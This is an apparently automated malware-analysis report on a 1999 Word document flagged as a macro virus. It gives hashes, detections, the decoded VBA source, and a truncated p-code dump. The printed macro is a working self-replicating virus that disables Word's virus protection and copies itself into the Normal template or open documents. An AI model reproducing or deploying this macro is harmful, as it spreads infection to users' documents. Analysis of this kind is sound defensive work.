Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7455e8b6b8a0c542…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-04-28 16:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 03701bd52ad2eb6bd4a0d3ff37dd8026 SHA-1: 4e5905b182384806eabd6b15f36e4aa5f525a6fa SHA-256: 7455e8b6b8a0c54253e06f1b6f5abca6900c67a491599ef9b5c7c6b5dd3296d9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains VBA macros. The Document_Close subroutine appears to be designed to manipulate the macro code itself, potentially to hide its malicious functionality or ensure its execution. The specific intent of the macro manipulation is unclear due to obfuscation, but it suggests an attempt to evade detection or maintain persistence.

Heuristics 2

  • ClamAV: Doc.Trojan.NSI-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NSI-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4354 bytes
SHA-256: 7af0bbddb44e67ea71aec70f88b5ff86b4f8a39e448e5343cbb29e738c735b6d
Detection
ClamAV: Doc.Trojan.NSI-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    EnableCancelKey = wdCancelDisabled
    Set maci = MacroContainer.VBProject.VBComponents.Item(1)
    Set macic = maci.codemodule
    ns$ = Left(macic.lines(1, 1), 21)
    Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
    Set infc = inf.VBProject.VBComponents
    Set infi = infc.Item(1)
    Set infic = infi.codemodule
    infi.Name = "ThisDocument"
    For mx = 2 To infc.Count
        infc.Remove infc.Item(2)
    Next mx
        If infic.countlines <> macic.countoflines Then
            infic.deletelines 1, infic.countoflines
            For coco = 1 To macic.countoflines
                infic.insertlines coco, macic.lines(coco, 1)
            Next coco
            infic.replaceline 1, nsi$
        End If
    If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999


' Processing file: /opt/analyzer/scan_staging/a171ddb645884103b25b48ce2b657fcd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2764 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	Ld wdCancelDisabled 
' 	St EnableCancelKey 
' Line #4:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set maci 
' Line #5:
' 	SetStmt 
' 	Ld maci 
' 	MemLd codemodule 
' 	Set macic 
' Line #6:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	LitDI2 0x0015 
' 	ArgsLd LBound 0x0002 
' 	St ns$ 
' Line #7:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set inf 
' 	BoS 0x0000 
' 	Ld ns$ 
' 	LitStr 0x0007 "Close()"
' 	Add 
' 	St nsi$ 
' Line #8:
' 	Ld MacroContainer 
' 	Ld inf 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set inf 
' 	BoS 0x0000 
' 	Ld ns$ 
' 	LitStr 0x0006 "Open()"
' 	Add 
' 	St nsi$ 
' 	EndIf 
' Line #9:
' 	SetStmt 
' 	Ld inf 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set infc 
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld infc 
' 	ArgsMemLd Item 0x0001 
' 	Set infi 
' Line #11:
' 	SetStmt 
' 	Ld infi 
' 	MemLd codemodule 
' 	Set infic 
' Line #12:
' 	LitStr 0x000C "ThisDocument"
' 	Ld infi 
' 	MemSt New 
' Line #13:
' 	StartForVariable 
' 	Ld mx 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld infc 
' 	MemLd Count 
' 	For 
' Line #14:
' 	LitDI2 0x0002 
' 	Ld infc 
' 	ArgsMemLd Item 0x0001 
' 	Ld infc 
' 	ArgsMemCall Remove 0x0001 
' Line #15:
' 	StartForVariable 
' 	Ld mx 
' 	EndForVariable 
' 	NextVar 
' Line #16:
' 	Ld infic 
' 	MemLd countlines 
' 	Ld macic 
' 	MemLd countoflines 
' 	Ne 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	Ld infic 
' 	MemLd countoflines 
' 	Ld infic 
' 	ArgsMemCall deletelines 0x0002 
' Line #18:
' 	StartForVariable 
' 	Ld coco 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	MemLd countoflines 
' 	For 
' Line #19:
' 	Ld coco 
' 	Ld coco 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	Ld infic 
' 	ArgsMemCall insertlines 0x0002 
' Line #20:
' 	StartForVariable 
' 	Ld coco 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	LitDI2 0x0001 
' 	Ld nsi$ 
' 	Ld infic 
' 	ArgsMemCall replaceline 0x0002 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld macic 
' 	ArgsMemLd lines 0x0002 
' 	LitDI2 0x000D 
' 	LitDI2 0x0008 
' 	ArgsLd Mid$$ 0x0003 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	Mem
... (truncated)

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